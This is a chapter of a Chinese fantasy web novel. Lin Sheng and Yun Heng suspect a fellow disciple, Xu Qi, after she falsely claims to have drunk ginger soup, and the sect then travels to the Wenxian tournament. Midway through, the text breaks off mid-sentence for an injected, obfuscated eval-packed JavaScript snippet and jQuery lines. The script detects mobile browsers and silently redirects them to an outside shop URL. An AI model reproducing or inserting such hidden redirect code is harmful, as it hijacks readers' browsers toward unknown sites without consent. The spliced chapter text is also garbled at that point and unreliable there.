15. 身在明处

作品:《再给吃一口吧!

    姜汤的热气往上涌,铺开在一楼,混着各门弟子的吵闹声,在漫天大雨下辟了处安定之地,淋雨回来的修者一踏进门,心下的烦躁便驱开大半。


    云珩回了房,解下佩剑,俯身将剑摆到床榻旁,随后解开外衣脱下,叠好后搭在床尾衣架上。


    做完这些,他走到床边坐下,施法召出感灵印。


    感灵印偃息时,呈通体银白的圆形盘状,其上有三道金色星图,代表三人的灵力,分别为他、林笙、以及肖靖澜,是今日午时它感应并记录下的。


    能悄无声息布阵,瞬间清除灵力的人,实力必定不低,至少也比他强。


    在这京城,所有修者中,还有谁的修为能比他高……


    各门长老。


    各宗弟子。


    还有谁……


    云珩轻闭着眼,盘腿而坐,一只手的手指在膝盖上点了点,随意朝前一挥。


    感灵印瞬间闪起蓝光,升至半空,从窗缝飞了出去。


    所有长老和弟子的灵力都记在了迎仙阁外的结界上,感灵印不消半刻钟就飞了回来,表面满是金色星图。


    云珩两手相叠,分开,感灵印上的星图骤然跳了出来,悬在半空,指向迎仙阁的各个方向。


    他一手搭在感灵印上,探测其中灵力,一手拨星图,将比他的还大的星图单拿出来。


    寥寥几个皆是长老的。


    他们今日都没踏出过迎仙阁。


    ……还会有谁?


    与林笙同行的还有四人,外门的李岩和徐芷怡,药极长老门下的许瑶,虞仙长老门下的徐琪。


    云珩将他们的星图也拿了出来,一一探测,依旧无果。


    徐琪的修为在玉弦宗所有弟子中位处前列,但不可能做到在他与肖靖澜眼下掩藏灵力。


    窗外雨还在下,被风裹着砸进屋里。


    雨水浸湿地板,斜风吹散星图。


    云珩甩手关窗,“砰”的一声落下,终于感觉到身上的烘热之感。


    他抬手探了下自己的鼻息,有些烫。


    ……该喝了林姑娘的那碗姜汤的。


    脑中的思绪有些乱,该理顺的线很快绕做一团。


    云珩慢慢卸力靠在床边,临闭眼前,最后想到的是那碗本该进自己胃里的姜汤。


    “姜汤驱寒,姜汤驱寒,”林笙倚在后厨门边,打着呵欠看云珩喝药,“这下记住了吧?”


    “记住了。”云珩放下碗,一本正经地回答。


    “一大早还没睡醒就来给你们熬药,”药老扇了扇自己身上的草药味,嫌弃地往外面走,“真是难为我这一把骨头了。”


    “你……们?”林笙转头跟上,问,“谁们?还有谁得了风寒啊?”


    她脑中已有一个名字,只待确认。


    昨晚许瑶说徐琪没喝汤,林笙没有立即相信,毕竟小孩看待事物的角度与成人不同。


    况且就算徐琪真的没喝姜汤,她也不会觉得怎样,毕竟每个人的喜好不同,说不定她跟云珩一样,不喜姜汤的味道。


    可徐琪若真没喝,又为何要在当时说自己喝了呢?


    林笙没办法否认,许瑶的话,将她的思绪带到了另一个堪称荒谬的道上——昨日,是徐琪提出去南货铺的。


    有没有可能……


    “徐琪呗,”药老走在前面说,“今天下午问仙大会就开始了,这下好了,也不知道她能不能去。”


    姜汤的功效亦是林笙在膳堂时发现的,防风寒说的太过保守,其真正的作用是只要下胃,便不会得风寒。


    看来徐琪是真的没喝汤。


    林笙闭了闭眼,一时间不知说什么好,心下有些乱。


    “虞仙长老不会让她去的。”云珩说。


    他刚喝完药,嘴里心里都是苦意,眉心拧着迟迟不松。


    “想来也是,问仙大会考验的不止是修为,身体不行还怎么参加。”林笙道。


    她转身,将刚做好的蛋挞递给云珩,“吃点甜的解解苦吧。”


    “多谢。”


    云珩点头接过,抬眼看了下门帘之外,见林笙就要掀帘出去,立马抬手。


    发丝拂过指腹,柔荑有余。


    “林姑娘,”他出声叫住林笙,“最近还需多加小心。”


    徐琪是事中人还是巧合,现在谁也说不定。


    布阵之人还未查明,徐琪身上疑点不清。


    林笙身在明处,现在能做的只有小心行事。


    “嗯。”


    林笙向后仰了些,递给云珩一个放心的眼神。


    刚提完徐琪,走出后厨,林笙迎面就跟她碰上了。


    “林笙……”


    徐琪一手轻轻捂着口鼻,下意识向后退了两步,瞥见云珩在她身后,眼神闪躲开来。


    一觉睡醒,同门就她和净雪仙君二人生了风寒,仙君直言他未喝姜汤,昨天那碗“入胃”的汤,她又该如何解释。


    “那碗姜汤……”她看着林笙,眼下尽是羞愧,“我是辟谷修炼的,可同行的弟子都……我担心后面融入不了大家,于是便骗了你。”


    辟谷修炼,却要去南货铺买吃食。


    太矛盾了。


    “没事的,”林笙将所有怀疑都压在心底,面上依旧是与往常一样般柔和,轻笑着说,“虞仙长老不都说了辟谷随意嘛,你当然要按照你的修行之道来走了。”


    问仙大会今日申时就会开始,所有宗门的宗主已经在宜州等候了。


    住在迎仙阁的宗门接连出发去了宜州,玉弦宗这边还在一楼清点去的人数。


    虞仙长老看了眼身旁徒弟手里的册子,抬头看了看徐琪,开口下令:“徐琪生了风寒,你上吧。”


    徐琪闻言身子一颤,咬着唇角,不敢看昭曦禾,只盯着地面,小声问:“师尊,为何?”


    “弱者退场,本该如此。”


    昭曦禾声音沉稳,语气不容置疑,说完便转身走出迎仙阁。


    问仙大会开始后,参赛弟子不止要与其他宗门竞争,还要制服遇上的凶兽,何时决出胜者,何时比赛结束。


    伤者既弱者。


    一个小小的风寒,进了问仙大会,就会是亡败的祸根。


    玉弦宗经得起输,但修者的命,经不起送。


    张思璇抬手在册子上画了两下,抹掉徐琪的名字,道:“师姐既然身体不适,还是在先在迎仙阁修养吧。”


    人数清点完毕,虞仙长老一声令下,飞舟开始向宜州方向行驶。


    迎仙阁变成小小一座,俯视看它,在京城中几乎找不到。


    林笙坐在与来时一样的地方,衣带向后飘展,发丝缕缕抚过肩背,又打着旋儿飘回在脸颊。


    身后的脚步声轻微,来者说道:“本尊已派人彻查徐琪近日行踪,待问仙大会后,定给你一个交代。”


    能坐上长老之位的,又怎会是蠢人。


    昭曦禾不善察言观色,但活到这把岁数,十来岁二十来岁的孩子,她还是能看的清的。


    徐琪走错了路,昭曦禾从昨日看见她独自一人回来坐在桌前不作为时,就知道了。


    “长老,”林笙跳落在舱面,尊敬地抱拳行礼,道,“有劳长老费心了。”


    昭曦禾走上前,错开林笙,站在她身后,一手抓着木栏,久久未语。


    宜州距京城不远,飞舟不消一刻钟就行至地方。


    “玉弦宗到——”


    一声可撼天地的报声响起,飞舟缓缓驶入问仙大会结界。


    从上俯瞰,问仙大会的赛场不过是莽莽林海中的一小片,但随着降至低处,参天古木竟将飞舟覆盖,几缕阳光穿过树冠洒下,飞舟舱面一派斑驳。


    林笙靠着木栏朝前看,见一处漫坡上设有层层坐席,锦幡招展,其上分别绣有不同标志,从林间野兔到空中飞龙,无一不有。


    常冬荣一手设下阶梯,长老与弟子纷纷下舟。


    梵驷宗与他们差不多时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304737|198339||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间到,飞舟停在同一处。


    几位长老往前一站,走着走着,落后的几位弟子就不由自主地凑了过来。


    “不是!你们怎么全都来了?”梵驷宗的弟子数了数,惊讶道。


    玉弦宗弟子接道:“怎么数的啊!我们有位师姐没来。”


    “我哪儿是说这个!昨日我门的弟子出去淋了场雨,今早起来就病倒一群,今儿来问仙大会的,好些都是原本定下的观客,病了的都在迎仙阁躺着呢。”


    梵驷宗弟子抬头仰天,长叹一口气,接着道:“唉,这天下能与玉弦宗打一打的也就只有我梵驷宗了,看来今年这结果已经定了……”


    “那没办法,昨天我刚回来就觉得身体已经不对了,幸亏林姑娘做了姜汤,我们喝了的都没事儿。”玉弦宗这边的弟子笑道。


    “什么姜汤?”


    肖靖澜两手抱剑走在最边上,瞥了自家师弟一眼,学着传闻念道:“玉弦宗有位灵膳师,其手下灵膳可强身、医人、增法。”


    “怎么可能!吃了还能增进修为?”


    “师兄已经强过身了,至于修为……”肖靖澜握着剑柄戳了戳玉弦宗边上的弟子,问,“林姑娘的灵膳真能增进修为?”


    被问到的人正是药老的徒弟周亦旬,他二话不说施出灵力,半是展示,半是炫耀,“前些日子我灵力无法运转,就是吃了师姐的东西才好的。”


    “可你们之前不是也在辟谷吗?”


    “辟谷?”


    玉弦宗弟子哼哼笑了两下,声音可谓是无比卑贱。


    “我们长老早就说了辟谷随意!”说得好像这规矩已实行的几十来年,其实也就半月多。


    此话一出,梵驷宗一众年轻人中立马传出大片抗议声。


    林笙在队伍另一边走着,听见后抬了抬眼,正好碰上药老回头,对上他眼里的得意,林笙扯了扯嘴角。


    怪不得非要她来参加问仙大会。


    从基层做起,打入群众内部,即使现在的长老不会对辟谷松口,往后成长起来的修士也会有心试试。


    还是得药老深谋远虑。


    漫坡距飞舟停靠的位置仅百米左右,一群人三脚两步便可走到。


    午时的太阳处于天上正中,林笙抬头看坡上,眼睛的涨疼感过去后,才终于见到了玉弦宗宗主的真面貌。


    其人年约四旬,方脸圆目,眉宇舒展,目光沉静,说简单些便是一副国泰民安的长相,任谁都想不到他能在信里写出一大段疯言疯语。


    他一身玄色金纹长袍,广绣垂云,正端坐在漫坡前方正中,微侧头听旁边的男人说话。


    “宗主旁那人是谁?”徐芷怡小声问道。


    “祖师。”许瑶略带紧张的声音从林笙腰部位置传了上来。


    祖师可能是飞升时年龄不大,因此并不显老,面如刀裁,脸上虽笑着,眼下却无笑意,一派不怒自威的模样。


    瞥见玉弦宗这边的人,他眯了眯眼,抬起右手招了招,也不知是招谁。


    宗主顺着他的动作瞧到这边,提衣站起来,四五步便跨了下来,与几位长老一一寒暄。


    不知他问了些什么,前面药老与虞仙长老朝后面看了看,几句话后,他便拍了拍药老肩膀,然后走进人群,直直站在林笙面前。


    “小姑娘,”他半开玩笑的语气,“真是久闻大名啊。”


    林笙抱拳笑了笑,不卑不亢道:“宗主,是我久闻您大名。”


    宗主仰头大笑几声,摆了摆手,带他们先上漫坡坐着。


    林笙与云珩并肩走着,沿台阶向上,跨了一阶,却见余光中的身影侧了下身。


    是祖师在看这边,她寻着祖师的目光看向云珩。


    “云珩?”祖师低声道。


    云珩站定,低头抱拳。


    “师尊。”


    那位不慈眉也不怎么善目的祖师点了点头,看着云珩腰间佩剑,眉头一皱。


    “他呢?”他不满地问。